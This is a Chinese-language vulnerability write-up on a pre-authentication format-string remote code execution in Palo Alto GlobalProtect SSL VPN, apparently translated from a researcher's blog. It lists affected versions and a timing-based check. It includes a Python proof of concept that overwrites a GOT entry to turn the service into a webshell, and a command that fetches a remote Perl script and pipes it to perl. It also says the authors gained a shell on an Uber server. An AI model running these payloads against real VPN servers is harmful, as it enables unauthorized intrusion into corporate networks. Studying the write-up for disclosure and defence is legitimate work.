Palo Alto GlobalProtect上的PreAuth RCE
0x00 前言
SSL VPN虽然可以保护企业资产免受互联网被攻击的风险影响,但如果SSL VPN本身容易受到攻击呢?它们暴露在互联网上,可以可靠并安全地连接到内网中。一旦SSL VPN服务器遭到入侵,攻击者就可以渗透到内网,甚至接管所有连接到ssl-vpn服务器的用户!由于其重要性,在过去几个月中,我们开始对安全领先的SSL VPN产品进行安全研究。
我们计划用3篇文章上发布我们的结果。我们把本文作为第一篇,因为我们认为这是一个有趣的故事,非常适合作为我们Black Hat USA and DEFCON 的彩头:
- 像NSA一样渗透企业内网 - 在安全领先的SSL VPN上执行RCE
不要担心破坏者,这个故事不包含在我们的BHUSA / DEFCON会议中。
在我们即将到来的演示中,我们将提供更多的核心利用和疯狂的bug链,来入侵您的SSL VPN。从我们如何越狱设备以及我们关注的攻击向量来看。我们还将演示从唯一暴露的HTTPS端口获取root shell,隐蔽地将服务器武器化以对抗其所有者,并滥用隐藏功能来接管所有VPN客户端!所以请期待它;)
0x01 故事开头
在本文中,我们将讨论Palo Alto SSL VPN上的漏洞。Palo Alto称他们的SSL VPN产品为GlobalProtect。您可以通过302重定向到/global-protect/login.esp Web根目录轻松识别GlobalPortect服务!
关于此漏洞,我们在红队评估服务期间意外发现了该漏洞。起初,我们以为这是0day。但是,我们在最新版本的GlobalProtect的远程服务器上复现失败.所以我们开始怀疑这是否是一个已知的漏洞。
我们在互联网上搜索,但找不到任何有关的信息。在[1]没有公开的RCE漏洞利用之前,没有官方的咨询包含任何类似的信息,也没有CVE。
在之前的Pan-OS管理界面有一些漏洞,如CVE-2017-15944和@u fel1X的优秀troppers16论文,但不幸的是,他们没有提及到globalprotect和管理界面只暴露了局域网端口。
0x02 The bug
这个bug非常简单。它只是一个简单的格式字符串漏洞,无需身份验证!sslmgr是处理服务器和客户端之间的ssl握手的ssl网关。该守护进程由nginx反向代理代理,可以通过路径/sslmgr进行访问。
$ curl https://global-protect/sslmgr <?xml version="1.0" encoding="UTF-8" ?> <clientcert-response> <status>error</status> <msg>Invalid parameters</msg> </clientcert-response>
在参数提取期间,守护程序搜索字符串scep-profile-name并将其值作为snprintf格式传递,以填充缓冲区。这导致格式字符串被攻击。。您可以使用%n!使服务崩溃!
POST /sslmgr HTTP/1.1 Host: global-protect Content-Length: 36 scep-profile-name=%n%n%n%n%n...
0x03 影响版本
根据我们的调查,2018年7月之前的GlobalProtect都很脆弱!以下是影响版本列表:
- Palo Alto GlobalProtect SSL VPN 7.1.x <7.1.19
- Palo Alto GlobalProtect SSL VPN 8.0.x <8.0.12
- Palo Alto GlobalProtect SSL VPN 8.1.x <8.1.3
9.x和7.0.x系列不受此漏洞的影响。
0x04 如何验证BUG
虽然我们知道bug的位置,但验证漏洞仍然不容易。此格式字符串没有输出,因此我们无法获取泄漏的任何地址来验证bug。而崩溃服务永远不是我们的首选[1]。为了避免服务崩溃,我们需要找到一种不影响系统正常运行而验证漏洞的方法!
通过阅读snprintf手册,我们选择%c作为我们的小工具!如果在格式化之前有一个数字,例如%9999999c,则snprintf会在内部重复请求相应的时间。我们观察大量重复次数的响应时间来验证这个漏洞!
$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null real 0m1.721s user 0m0.037s sys 0m0.005s $ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null real 0m2.051s user 0m0.035s sys 0m0.012s $ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null real 0m5.324s user 0m0.021s sys 0m0.018s
如您所见,响应时间随着%c的数目而增加。因此,从时间差异来看,我们可以准确地识别易受攻击的ssl-vpn!
虽然有一个监视程序监视sslmgr守护进程,但仍然不适合崩溃服务!
0x05 利用
一旦我们可以验证bug,利用就很容易了。要成功利用二进制文件,我们需要首先确定详细版本。我们可以通过Last-Modified标头进行区分,例如8.x版本的/global protect/portal/css/login.css和7.x版本的/images/logo_pan_158.gif
$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT
使用指定的版本,我们现在可以编写自己的漏洞。我们简单地将全局偏移表(GOT)上strlen的指针修改为系统的程序链接表(plt)。以下是其POC:
#!/usr/bin/python import requests from pwn import * url = "https://sslvpn/sslmgr" cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt" strlen_GOT = 0x667788 # change me system_plt = 0x445566 # change me fmt = '%70$n' fmt += '%' + str((system_plt>>16)&0xff) + 'c' fmt += '%32$hn' fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c' fmt += '%24$hn' for i in range(40,60): fmt += '%'+str(i)+'$p' data = "scep-profile-name=" data += p32(strlen_GOT)[:-1] data += "&appauthcookie=" data += p32(strlen_GOT+2)[:-1] data += "&host-id=" data += p32(strlen_GOT+4)[:-1] data += "&user-email=" data += fmt data += "&appauthcookie=" data += cmd r = requests.post(url, data=data)
修改完成后,sslmgr将成为我们的Webshell,我们可以通过以下方式执行命令:
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr
我们已向Palo Alto通过报告此bug。但是,我们得到了以下回复:
Hello Orange, Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.
0x06 案例研究
在我们意识到这不是0day之后,我们调查了全世界的所有Palo Alto SSL VPN,看看是否有大公司在使用易受攻击的GlobalProtect,Uber就是其中之一!根据我们的调查,Uber在全球拥有大约22台运行GlobalProtect的服务器,这里我们以vpn.awscorp.uberinternal.com为例!
从域名来看,我们猜测Uber使用的是来自AWS Marketplace的byol 。从登录页面看,Uber似乎使用8.x版本,我们可以从概述页面上支持的版本列表中找到可能的目标版本:
- 8.0.3
- 8.0.6
- 8.0.8
- 8.0.9
- 8.1.0
最后,我们找到了版本,它是8.0.6,我们得到了shell!